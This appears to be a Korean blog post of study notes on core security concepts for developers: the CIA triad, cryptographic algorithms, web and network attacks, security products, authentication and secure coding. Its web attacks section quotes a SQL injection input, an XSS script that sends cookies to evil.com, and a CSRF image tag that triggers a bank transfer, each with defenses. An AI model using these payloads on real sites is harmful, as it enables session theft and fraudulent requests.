-
개발자가 알아야 할 보안 핵심 개념 정리..,,기타 2026. 7. 10. 21:30
개발자가 알아야 할 보안 핵심 개념 완전 정리
프론트엔드 개발자도 보안에서 자유롭지 않다.
XSS는 클라이언트 사이드 공격이고, CSRF는 브라우저 쿠키를 악용하며, HTTPS 미적용은 직접 데이터를 노출시킨다.
이 글은 보안의 기본 개념부터 공격 유형, 암호화 알고리즘, 방어 솔루션까지 핵심만 압축해서 정리했다.
1. 정보보안의 3대 요소 (CIA)
보안의 모든 개념은 이 세 가지를 기준으로 판단한다. 시험에서 "어떤 요소를 침해하는가?" 유형으로 자주 출제.
요소 영문 설명 침해 예시 기밀성 Confidentiality 인가된 사용자만 정보에 접근 가능 도청, 스니핑, 정보 유출 무결성 Integrity 인가된 방법으로만 정보 수정 가능 데이터 변조, 위·변조 가용성 Availability 인가된 사용자가 필요할 때 항상 접근 가능 DDoS 공격, 서비스 다운 추가 요소 (확장 CIA):
- 인증 (Authentication) — 사용자가 합법적인 사용자인지 확인
- 부인 방지 (Non-Repudiation) — 송수신 사실을 나중에 부인할 수 없게 함
2. 암호화 알고리즘
단방향 / 양방향 구분이 핵심. 양방향은 다시 대칭키(비밀키) / 비대칭키(공개키)로 나뉜다.
전체 분류 구조
암호화 알고리즘 ├── 단방향 (복호화 불가) │ └── 해시 함수: MD5, SHA 시리즈, HAS-160 │ └── 양방향 (복호화 가능) ├── 대칭키 (비밀키): DES, AES, SEED, ARIA, IDEA, RC4 └── 비대칭키 (공개키): RSA, ECC, DSA대칭키 암호화 (비밀키)
암호화·복호화에 같은 키 사용. 빠르지만 키 분배가 문제.
알고리즘 블록 크기 키 길이 특징 DES 64비트 56비트 1975년 미국 NBS 발표. 현재 취약 3DES 64비트 168비트 DES를 3번 적용. DES 보완 AES 128비트 128/192/256비트 2001년 NIST 발표. DES 대체. 현재 표준 SEED 128비트 128/256비트 1999년 KISA(한국인터넷진흥원) 개발 ARIA 128비트 128/192/256비트 2004년 국정원·산학연 개발. 국내 표준 IDEA 64비트 128비트 스위스에서 개발 RC4 - 가변 스트림 암호. SSL/TLS 초기에 사용 암기: 대칭키 종류 → DES / AES / SEED / ARIA / IDEA / RC4
키 개수: N명이 통신 시 필요한 키 수 = N(N-1)/2
비대칭키 암호화 (공개키)
공개키로 암호화 → 개인키로 복호화. 느리지만 키 분배 문제 해결.
알고리즘 기반 수학 특징 RSA 소인수분해 어려움 1978년 MIT 발표. 가장 널리 사용 ECC 타원곡선 이산대수 RSA보다 짧은 키로 동일 보안. 모바일에 적합 DSA 이산대수 전자서명 전용 해시 함수 (단방향)
임의 길이 입력 → 고정 길이 출력. 복호화 불가, 무결성 검증·패스워드 저장에 사용.
알고리즘 출력 길이 특징 MD5 128비트 1991년 발표. 충돌 취약점 발견, 현재 보안용 부적합 SHA-1 160비트 NSA 설계. 취약점 발견으로 사용 권고하지 않음 SHA-256 256비트 현재 가장 널리 사용되는 표준 HAS-160 160비트 국내 표준 전자서명(KCDSA)용 해시 함수 솔트(Salt): 해시 계산 시 임의 문자열을 추가로 입력해 레인보우 테이블 공격 방어.
일반 해시: hash("password") → 항상 같은 값 (레인보우 테이블로 역추적 가능) 솔트 적용: hash("password" + "랜덤솔트값") → 매번 다른 값대칭키 vs 비대칭키 비교
구분 대칭키 비대칭키 키 개수 1개 (공유) 공개키 + 개인키 쌍 속도 빠름 느림 키 분배 어려움 (보안 채널 필요) 쉬움 (공개키 공개) 주요 용도 대용량 데이터 암호화 키 교환, 전자서명 필요 키 수 (N명) N(N-1)/2 2N (각자 쌍 보유) 실무 적용: HTTPS는 하이브리드 방식 — 비대칭키(RSA)로 대칭키를 안전하게 교환한 후, 실제 데이터는 빠른 대칭키(AES)로 암호화한다.
3. 웹 공격 유형 — FE 개발자 필수
SQL Injection
입력값에 SQL 구문을 삽입해 DB를 직접 조작하는 공격.
-- 정상 쿼리 SELECT * FROM users WHERE id = '입력값'; -- 공격 입력: ' OR '1'='1 SELECT * FROM users WHERE id = '' OR '1'='1'; -- 항상 TRUE → 모든 사용자 정보 반환방어:
- Prepared Statement (파라미터 바인딩) 사용
- 입력값 유효성 검사 및 이스케이프
- ORM 사용으로 직접 쿼리 최소화
XSS (Cross-Site Scripting)
게시판·입력 폼 등에 악성 스크립트를 삽입해 다른 사용자의 브라우저에서 실행시키는 공격.
유형 설명 특징 Stored XSS 악성 스크립트를 DB에 저장 후 조회 시 실행 지속적, 피해 범위 넓음 Reflected XSS URL 파라미터에 스크립트 삽입, 응답에 반사 1회성, 피싱에 주로 사용 DOM-based XSS 서버 응답 없이 클라이언트 DOM 조작으로 실행 SPA에서 주의 <!-- 공격 예시: 게시판에 아래 내용을 저장 --> <script>document.location='https://evil.com?cookie='+document.cookie</script> <!-- 다른 사용자가 해당 게시물 조회 시 쿠키가 공격자 서버로 전송 -->방어:
- 출력 시 HTML 이스케이프 (
<→<,>→>) - CSP(Content Security Policy) 헤더 설정
- HttpOnly 쿠키 설정 (JS에서 쿠키 접근 차단)
- 입력값 화이트리스트 검증
CSRF (Cross-Site Request Forgery)
로그인된 사용자가 의도하지 않은 요청을 보내도록 유도하는 공격. 세션 쿠키를 악용.
1. 사용자가 은행 사이트에 로그인 (세션 쿠키 발급) 2. 공격자가 만든 악성 페이지 접속 <img src="https://bank.com/transfer?to=attacker&amount=1000000"> 3. 브라우저가 자동으로 쿠키를 포함해 요청 전송 4. 은행 서버는 정상 요청으로 처리방어:
- CSRF 토큰 — 요청마다 서버가 발급한 토큰 검증
- SameSite 쿠키 속성 설정 (
SameSite=Strict또는Lax) - Referer / Origin 헤더 검증
XSS vs CSRF 구분
구분 XSS CSRF 공격 대상 사용자 브라우저 서버 (사용자를 이용) 악용 요소 JS 실행 환경 세션 쿠키 자동 첨부 방어 핵심 출력 이스케이프, CSP CSRF 토큰, SameSite
4. 네트워크 공격 유형
DoS / DDoS
서버 자원을 고갈시켜 정상 서비스를 방해하는 공격.
공격 설명 SYN Flooding TCP 3-way handshake의 SYN만 보내고 ACK를 보내지 않아 서버 연결 대기 큐 포화 UDP Flooding 대량의 UDP 패킷으로 대역폭 고갈 HTTP GET Flooding 과도한 HTTP GET 요청으로 웹서버 부하 Ping of Death 허용 크기 초과 ICMP 패킷으로 시스템 마비 Smurfing 출발지 IP를 피해자 IP로 위조한 ICMP를 브로드캐스트 → 대량 응답이 피해자에게 집중 TearDrop Fragment Offset을 조작한 패킷으로 재조립 오류 유발 LAND Attack 송신지·수신지 IP를 모두 피해자 IP로 설정 → 무한 응답 루프 DoS vs DDoS:
- DoS — 단일 공격자 → 단일 서버
- DDoS — 다수의 좀비 PC(봇넷) → 단일 서버 (분산 서비스 거부)
스니핑 vs 스푸핑
공격 설명 방어 스니핑 (Sniffing) 네트워크 패킷을 도청·감청. 수동적 공격 암호화(HTTPS, SSH) 스푸핑 (Spoofing) 신뢰할 수 있는 주소·신원으로 위장. 능동적 공격 인증, 무결성 검증 스푸핑 종류:
- IP Spoofing — 패킷 출발지 IP 위조
- ARP Spoofing — MAC 주소 위조로 트래픽 가로채기
- DNS Spoofing — DNS 응답을 위조해 악성 사이트로 유도
기타 주요 공격
공격 설명 피싱 (Phishing) 가짜 사이트로 유도해 개인정보 탈취 파밍 (Pharming) DNS 조작으로 진짜 URL 입력해도 가짜 사이트로 연결 스미싱 (Smishing) SMS 문자 메시지로 악성 앱 설치 유도 큐싱 (Qshing) QR코드로 악성 앱 설치 유도 랜섬웨어 파일 암호화 후 복호화 대가로 금전 요구 APT 특정 타깃을 목표로 장기간 지속적·지능적으로 공격 제로데이 공격 패치가 나오기 전 알려지지 않은 취약점을 공격 Rainbow Table 공격 미리 계산된 해시값 목록으로 패스워드 역추적 → 솔트로 방어 브루트포스 (Brute Force) 가능한 모든 경우의 수를 대입해 패스워드 크래킹 세션 하이재킹 TCP 세션 관리 취약점으로 세션 탈취 백도어 정상 보안 절차를 우회하는 숨겨진 접근 경로
5. 보안 솔루션
솔루션 역할 방화벽 (Firewall) 내부 보안 정책 기반으로 트래픽 허용/차단 웹 방화벽 (WAF) HTTP 요청을 검사해 웹 공격(XSS, SQLi 등) 차단 IDS (침입 탐지 시스템) 침입을 탐지만 함. 대응은 관리자가 수행 IPS (침입 방지 시스템) 침입 탐지 + 자동 차단까지 수행 VPN 공용 네트워크에서 암호화된 사설 통신 채널 구성 DMZ 내부망과 외부망 사이의 완충 네트워크 영역 NAC 네트워크 접속 전 단말의 보안 상태를 검사 후 접근 통제 ESM 방화벽, IDS, VPN 등 보안 솔루션을 통합 관리하는 시스템 DLP 기업 내부 데이터의 외부 유출 방지 SSO 한 번 인증으로 여러 시스템에 재인증 없이 접근 허니팟 (Honeypot) 공격자를 유인하는 가짜 시스템. 공격 패턴 수집 IDS vs IPS:
- IDS — 탐지만 (수동). 경보 발생
- IPS — 탐지 + 차단 (능동). 자동 대응
6. 인증 기술
인증 방식 3가지
방식 수단 예시 지식 기반 사용자가 아는 것 ID/PW, PIN번호 소유 기반 사용자가 가진 것 OTP 토큰, 공인인증서, 스마트카드 생체 기반 사용자 자체 지문, 홍채, 얼굴 인식 멀티팩터 인증 (MFA)
두 가지 이상의 인증 방식을 결합. 단일 인증보다 보안 강도 높음.
AAA (인증·권한·계정관리)
요소 설명 Authentication (인증) 사용자 신원 확인 Authorization (권한 부여) 인증된 사용자에게 접근 권한 부여 Accounting (계정 관리) 자원 사용 이력 기록·감사
7. 소프트웨어 보안 코딩
시큐어 코딩 7대 가이드
항목 설명 입력 데이터 검증 모든 외부 입력값을 신뢰하지 않고 검증 보안 기능 인증, 암호화, 접근 제어 올바르게 구현 시간 및 상태 경쟁 조건(Race Condition) 방지 에러 처리 오류 메시지에 시스템 정보 노출 금지 코드 오류 버퍼 오버플로우, 메모리 누수 방지 캡슐화 중요 데이터·기능을 적절히 은닉 API 오용 안전한 API 사용, 위험한 API 대체 버퍼 오버플로우
할당된 버퍼 크기를 초과하는 데이터를 입력해 인접 메모리를 덮어쓰는 공격. 스택·힙 오버플로우로 나뉨.
방어:
- 스택가드(StackGuard) — 카나리(Canary) 값으로 스택 무결성 확인
- ASLR — 실행 시마다 메모리 주소를 무작위 배치
빠른 암기 정리
CIA : 기밀성(Confidentiality) / 무결성(Integrity) / 가용성(Availability) 암호화 분류 : 단방향(해시) / 양방향 → 대칭키(비밀키) / 비대칭키(공개키) 대칭키 알고리즘: DES / 3DES / AES / SEED / ARIA / IDEA / RC4 비대칭키 : RSA(소인수분해) / ECC(타원곡선) → 공개키로 암호화, 개인키로 복호화 해시 함수 : MD5(128) / SHA-1(160) / SHA-256(256) → 단방향, 복호화 불가 솔트(Salt) : 해시 입력에 랜덤값 추가 → 레인보우 테이블 공격 방어 키 개수 : 대칭키 N명 → N(N-1)/2 / 비대칭키 → 2N 웹 공격 3대장 : SQL Injection / XSS / CSRF SQL Injection : 입력값에 SQL 구문 삽입 → Prepared Statement로 방어 XSS : 악성 스크립트 삽입 실행 → 출력 이스케이프, CSP, HttpOnly로 방어 CSRF : 세션 쿠키 악용, 의도치 않은 요청 → CSRF 토큰, SameSite 쿠키로 방어 XSS vs CSRF : XSS는 브라우저 공격 / CSRF는 서버 공격(사용자 이용) DoS 공격 : SYN Flooding / UDP Flooding / Ping of Death / Smurfing / TearDrop / LAND 스니핑 : 수동 도청 → 암호화로 방어 스푸핑 : 능동 위장 (IP/ARP/DNS) → 인증으로 방어 IDS vs IPS : IDS(탐지만) / IPS(탐지+차단) 허니팟 : 공격자 유인 가짜 시스템 SSO : 한 번 로그인 → 여러 서비스 자동 인증 인증 3방식 : 지식(PW) / 소유(OTP) / 생체(지문) AAA : Authentication(인증) / Authorization(권한) / Accounting(계정관리) 시큐어 코딩 7대: 입력검증 / 보안기능 / 시간상태 / 에러처리 / 코드오류 / 캡슐화 / API오용'기타' 카테고리의 다른 글
소프트웨어 개발 방법론 · 테스트 · 자료구조 & 알고리즘 완전 정리 (1) 2026.07.11 운영체제 핵심 개념과 계산 문제 완전 정복 👨🚀 (1) 2026.07.11 개발자가 알아야 할 네트워크 핵심 개념 정리... (0) 2026.07.08 신뢰도 높고 가성비 좋은 로컬 AI 모델 구축하기 🖤 Claude·ChatGPT처럼 쓰는 법 (0) 2026.07.05 C / Java / Python 문법 함정 정리 (0) 2026.07.02